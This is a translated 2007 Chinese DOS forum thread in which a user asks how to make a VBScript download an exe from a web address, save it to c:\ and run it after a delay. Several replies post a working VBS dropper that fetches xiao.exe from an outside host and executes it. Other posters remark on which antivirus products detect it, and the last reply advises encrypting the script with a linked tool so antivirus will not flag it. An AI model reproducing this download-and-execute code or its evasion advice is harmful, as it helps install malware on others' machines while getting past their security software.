For example, I want to download the program www.xxxxxx.com\1.exe. How to use VBS to download it and put it into the specified directory, such as putting it into c:\, and preferably be able to specify a time to run it, such as running it after 60 seconds. Hope an expert can help!
China DOS Union
Union site: www.cn-dos.net Forum site: www.cn-dos.net/forum
DOS stands for freedom, openness and progress. Let us work hard, learn from the openness and GNU spirit of FreeDOS and Linux, and together build and grow a free GNU GPL world!
中国DOS联盟论坛 » DOS批处理 & 脚本技术（批处理室） » [Help] How to use VBS to download and run a specified file?
View 1,415 Replies 9
Original Poster
Posted 2007-04-25 23:22 · 新西兰
Floor 2
Posted 2007-04-25 23:57 · 中国 甘肃 张掖 电信
iget.vbs
sleep
run
sleep
run
Floor 3
Posted 2007-04-26 01:41 · 中国 湖北 武汉 电信
版主
★★★★★
Credits 11,386
Posts 4,938
Joined 2006-07-23 17:10
20-year member
UID 59080
Posts 4,938
Joined 2006-07-23 17:10
20-year member
UID 59080
Status Offline
The upstairs has already given a hint. The owner of the post might as well follow the upstairs' hint, search the forum, and try to solve the problem by oneself. It is very beneficial for you to improve.
Floor 4
Posted 2007-04-26 02:08 · 中国 重庆 沙坪坝区 电信
中级用户
★★
金牌会员
Credits 315
Posts 152
Joined 2007-01-25 23:55
19-year member
UID 77669
Gender Male
Posts 152
Joined 2007-01-25 23:55
19-year member
UID 77669
Gender Male
Status Offline
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
wscript.sleep 10000
Shell.Run ("c:\xiao.exe") 'Delay and then execute the downloaded file
It seems like it will be blocked by the antivirus, but NOD32 won't detect it.
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
wscript.sleep 10000
Shell.Run ("c:\xiao.exe") 'Delay and then execute the downloaded file
It seems like it will be blocked by the antivirus, but NOD32 won't detect it.
Floor 5
Posted 2007-04-26 02:48 · 新西兰
I know nothing about VBS. Although the second floor has given the key words, it's still difficult...
I can't understand what you wrote on the fourth floor. Can you explain it? I'm sorry. I'm relatively stupid. Please trouble everyone.
I can't understand what you wrote on the fourth floor. Can you explain it? I'm sorry. I'm relatively stupid. Please trouble everyone.
Floor 6
Posted 2007-04-26 02:58 · 中国 重庆 沙坪坝区 电信
中级用户
★★
金牌会员
Credits 315
Posts 152
Joined 2007-01-25 23:55
19-year member
UID 77669
Gender Male
Posts 152
Joined 2007-01-25 23:55
19-year member
UID 77669
Gender Male
Status Offline
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 ：Here is the address of the thing to download
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2 Save location
wscript.sleep 10000 Delay
Shell.Run ("c:\xiao.exe") Execute
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 ：Here is the address of the thing to download
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2 Save location
wscript.sleep 10000 Delay
Shell.Run ("c:\xiao.exe") Execute
Floor 7
Posted 2007-04-27 02:45 · 中国 新疆 乌鲁木齐 天山区 电信
高级用户
★★★
Autowalk
Credits 845
Posts 375
Joined 2007-03-03 01:58
19-year member
UID 80606
Gender Male
Posts 375
Joined 2007-03-03 01:58
19-year member
UID 80606
Gender Male
Status Offline
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Set Shell = CreateObject("scripting.filesystemobject")
What other objects are there? What properties and methods are there under these objects? Who has relevant information on this?
Set Shell = CreateObject("Wscript.Shell")
Set Shell = CreateObject("scripting.filesystemobject")
What other objects are there? What properties and methods are there under these objects? Who has relevant information on this?
Floor 8
Posted 2007-04-27 03:14 · 中国 广东 广州 鹏博士宽带
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
This code is regarded as a virus by Rising Antivirus... It is desperately killed. Hehe.
Floor 9
Posted 2007-05-23 21:29 · 中国 重庆 大渡口区 电信
Because Brother Madman... It means that Comrade Xiao Bo didn't encrypt this VBS code segment. After encryption, all antivirus software
Floor 10
Posted 2007-05-23 22:46 · 中国 重庆 沙坪坝区 电信
中级用户
★★
金牌会员
Credits 315
Posts 152
Joined 2007-01-25 23:55
19-year member
UID 77669
Gender Male
Posts 152
Joined 2007-01-25 23:55
19-year member
UID 77669
Gender Male
Status Offline
Originally posted by Vampire at 2007-4-27 03:14 AM:
This code is considered a virus by Rising Antivirus... It's quickly killed. Hehe.
This can be done after encrypting with a VBS encryption tool`
baomaboy made an encrypted/decrypted VBS script (simple anti-virus bypass version) 1.1
http://www.cn-dos.net/forum/viewthread.php?tid=30500&fpage=1&highlight=1.1`
After this encryption, anti-virus software basically won't report a virus``
[ Last edited by fengzi on 2007-5-24 at 04:38 AM ]
Forum Jump: